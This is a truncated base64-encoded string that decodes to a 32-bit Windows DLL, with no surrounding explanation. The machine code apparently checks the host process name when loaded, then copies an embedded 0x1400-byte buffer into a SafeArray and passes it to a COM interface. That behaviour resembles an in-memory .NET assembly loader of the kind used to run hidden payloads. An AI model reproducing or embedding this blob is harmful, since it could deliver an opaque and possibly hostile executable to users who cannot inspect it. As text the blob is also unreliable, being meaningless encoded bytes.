"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